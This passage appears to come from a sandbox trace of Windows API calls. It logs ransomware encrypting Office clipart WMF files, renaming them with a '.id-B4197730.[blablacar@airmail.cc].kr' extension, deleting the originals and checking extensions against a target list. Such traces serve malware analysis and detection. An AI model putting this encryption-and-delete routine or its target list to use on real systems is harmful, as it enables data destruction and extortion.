SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0105.712] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0105.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0105.712] GetLastError () returned 0x0 [0105.712] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x385c, lpOverlapped=0x0) returned 1 [0105.714] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x3860, lpOverlapped=0x0) returned 1 [0105.715] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0105.715] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0105.715] SetEndOfFile (hFile=0x384) returned 1 [0105.715] CloseHandle (hObject=0x384) returned 1 [0105.716] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0105.716] SetEndOfFile (hFile=0x364) returned 1 [0105.717] CloseHandle (hObject=0x364) returned 1 [0105.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0105.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0105.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0105.718] lstrlenW (lpString=".doc") returned 4 [0105.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.718] lstrlenW (lpString=".docx") returned 5 [0105.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0105.718] lstrlenW (lpString=".pdf") returned 4 [0105.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.718] lstrlenW (lpString=".xls") returned 4 [0105.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.718] lstrlenW (lpString=".xlsx") returned 5 [0105.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0105.718] lstrlenW (lpString=".ppt") returned 4 [0105.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0105.718] lstrlenW (lpString=".zip") returned 4 [0105.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.718] lstrlenW (lpString=".rar") returned 4 [0105.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.718] lstrlenW (lpString=".bz2") returned 4 [0105.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.718] lstrlenW (lpString=".7z") returned 3 [0105.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0105.718] lstrlenW (lpString=".dbf") returned 4 [0105.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0105.718] lstrlenW (lpString=".1cd") returned 4 [0105.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0105.719] lstrlenW (lpString=".jpg") returned 4 [0105.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0105.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0105.719] lstrlenW (lpString=".doc") returned 4 [0105.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.719] lstrlenW (lpString=".docx") returned 5 [0105.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0105.719] lstrlenW (lpString=".pdf") returned 4 [0105.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.719] lstrlenW (lpString=".xls") returned 4 [0105.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.719] lstrlenW (lpString=".xlsx") returned 5 [0105.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0105.719] lstrlenW (lpString=".ppt") returned 4 [0105.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0105.719] lstrlenW (lpString=".zip") returned 4 [0105.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.719] lstrlenW (lpString=".rar") returned 4 [0105.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.719] lstrlenW (lpString=".bz2") returned 4 [0105.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.719] lstrlenW (lpString=".7z") returned 3 [0105.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0105.719] lstrlenW (lpString=".dbf") returned 4 [0105.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0105.720] lstrlenW (lpString=".1cd") returned 4 [0105.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0105.720] lstrlenW (lpString=".jpg") returned 4 [0105.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.720] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0105.720] lstrlenW (lpString="AN00965_.WMF") returned 12 [0105.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.720] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=7072) returned 1 [0105.720] CloseHandle (hObject=0x364) returned 1 [0105.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220 [0105.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.721] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0105.721] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0105.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0105.721] GetLastError () returned 0x0 [0105.721] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0105.722] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0105.724] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0105.724] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0105.724] SetEndOfFile (hFile=0x384) returned 1 [0105.724] CloseHandle (hObject=0x384) returned 1 [0105.725] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0105.725] SetEndOfFile (hFile=0x364) returned 1 [0105.726] CloseHandle (hObject=0x364) returned 1 [0105.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0105.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0105.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0105.726] lstrlenW (lpString=".doc") returned 4 [0105.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.726] lstrlenW (lpString=".docx") returned 5 [0105.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0105.726] lstrlenW (lpString=".pdf") returned 4 [0105.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.727] lstrlenW (lpString=".xls") returned 4 [0105.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.727] lstrlenW (lpString=".xlsx") returned 5 [0105.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0105.727] lstrlenW (lpString=".ppt") returned 4 [0105.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0105.727] lstrlenW (lpString=".zip") returned 4 [0105.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.727] lstrlenW (lpString=".rar") returned 4 [0105.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.727] lstrlenW (lpString=".bz2") returned 4 [0105.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.727] lstrlenW (lpString=".7z") returned 3 [0105.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0105.727] lstrlenW (lpString=".dbf") returned 4 [0105.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0105.727] lstrlenW (lpString=".1cd") returned 4 [0105.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0105.727] lstrlenW (lpString=".jpg") returned 4 [0105.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0105.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0105.727] lstrlenW (lpString=".doc") returned 4 [0105.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.727] lstrlenW (lpString=".docx") returned 5 [0105.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0105.728] lstrlenW (lpString=".pdf") returned 4 [0105.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.728] lstrlenW (lpString=".xls") returned 4 [0105.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.728] lstrlenW (lpString=".xlsx") returned 5 [0105.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0105.728] lstrlenW (lpString=".ppt") returned 4 [0105.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0105.728] lstrlenW (lpString=".zip") returned 4 [0105.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.728] lstrlenW (lpString=".rar") returned 4 [0105.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.728] lstrlenW (lpString=".bz2") returned 4 [0105.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.728] lstrlenW (lpString=".7z") returned 3 [0105.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0105.728] lstrlenW (lpString=".dbf") returned 4 [0105.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0105.728] lstrlenW (lpString=".1cd") returned 4 [0105.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0105.728] lstrlenW (lpString=".jpg") returned 4 [0105.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.728] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0105.729] lstrlenW (lpString="AN01039_.WMF") returned 12 [0105.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.729] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3344) returned 1 [0105.729] CloseHandle (hObject=0x364) returned 1 [0105.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0105.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.729] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0105.729] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0105.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0105.730] GetLastError () returned 0x0 [0105.730] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xd10, lpOverlapped=0x0) returned 1 [0106.054] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xd20, lpOverlapped=0x0) returned 1 [0106.055] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0106.055] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0106.055] SetEndOfFile (hFile=0x384) returned 1 [0107.603] CloseHandle (hObject=0x384) returned 1 [0107.604] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0107.604] SetEndOfFile (hFile=0x364) returned 1 [0107.605] CloseHandle (hObject=0x364) returned 1 [0107.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0107.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0107.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0107.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0107.606] lstrlenW (lpString=".doc") returned 4 [0107.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.606] lstrlenW (lpString=".docx") returned 5 [0107.606] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.606] lstrlenW (lpString=".pdf") returned 4 [0107.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.606] lstrlenW (lpString=".xls") returned 4 [0107.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.606] lstrlenW (lpString=".xlsx") returned 5 [0107.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.607] lstrlenW (lpString=".ppt") returned 4 [0107.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0107.607] lstrlenW (lpString=".zip") returned 4 [0107.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.607] lstrlenW (lpString=".rar") returned 4 [0107.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.607] lstrlenW (lpString=".bz2") returned 4 [0107.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.607] lstrlenW (lpString=".7z") returned 3 [0107.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0107.607] lstrlenW (lpString=".dbf") returned 4 [0107.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0107.607] lstrlenW (lpString=".1cd") returned 4 [0107.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0107.607] lstrlenW (lpString=".jpg") returned 4 [0107.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0107.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0107.608] lstrlenW (lpString=".doc") returned 4 [0107.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.608] lstrlenW (lpString=".docx") returned 5 [0107.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0107.608] lstrlenW (lpString=".pdf") returned 4 [0107.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.608] lstrlenW (lpString=".xls") returned 4 [0107.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.608] lstrlenW (lpString=".xlsx") returned 5 [0107.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0107.608] lstrlenW (lpString=".ppt") returned 4 [0107.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0107.608] lstrlenW (lpString=".zip") returned 4 [0107.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.608] lstrlenW (lpString=".rar") returned 4 [0107.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.608] lstrlenW (lpString=".bz2") returned 4 [0107.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.608] lstrlenW (lpString=".7z") returned 3 [0107.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0107.609] lstrlenW (lpString=".dbf") returned 4 [0107.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0107.609] lstrlenW (lpString=".1cd") returned 4 [0107.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0107.609] lstrlenW (lpString=".jpg") returned 4 [0107.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.609] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0107.609] lstrlenW (lpString="AN04174_.WMF") returned 12 [0107.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.609] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=2636) returned 1 [0107.610] CloseHandle (hObject=0x364) returned 1 [0107.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0107.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.610] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0107.610] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0107.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, 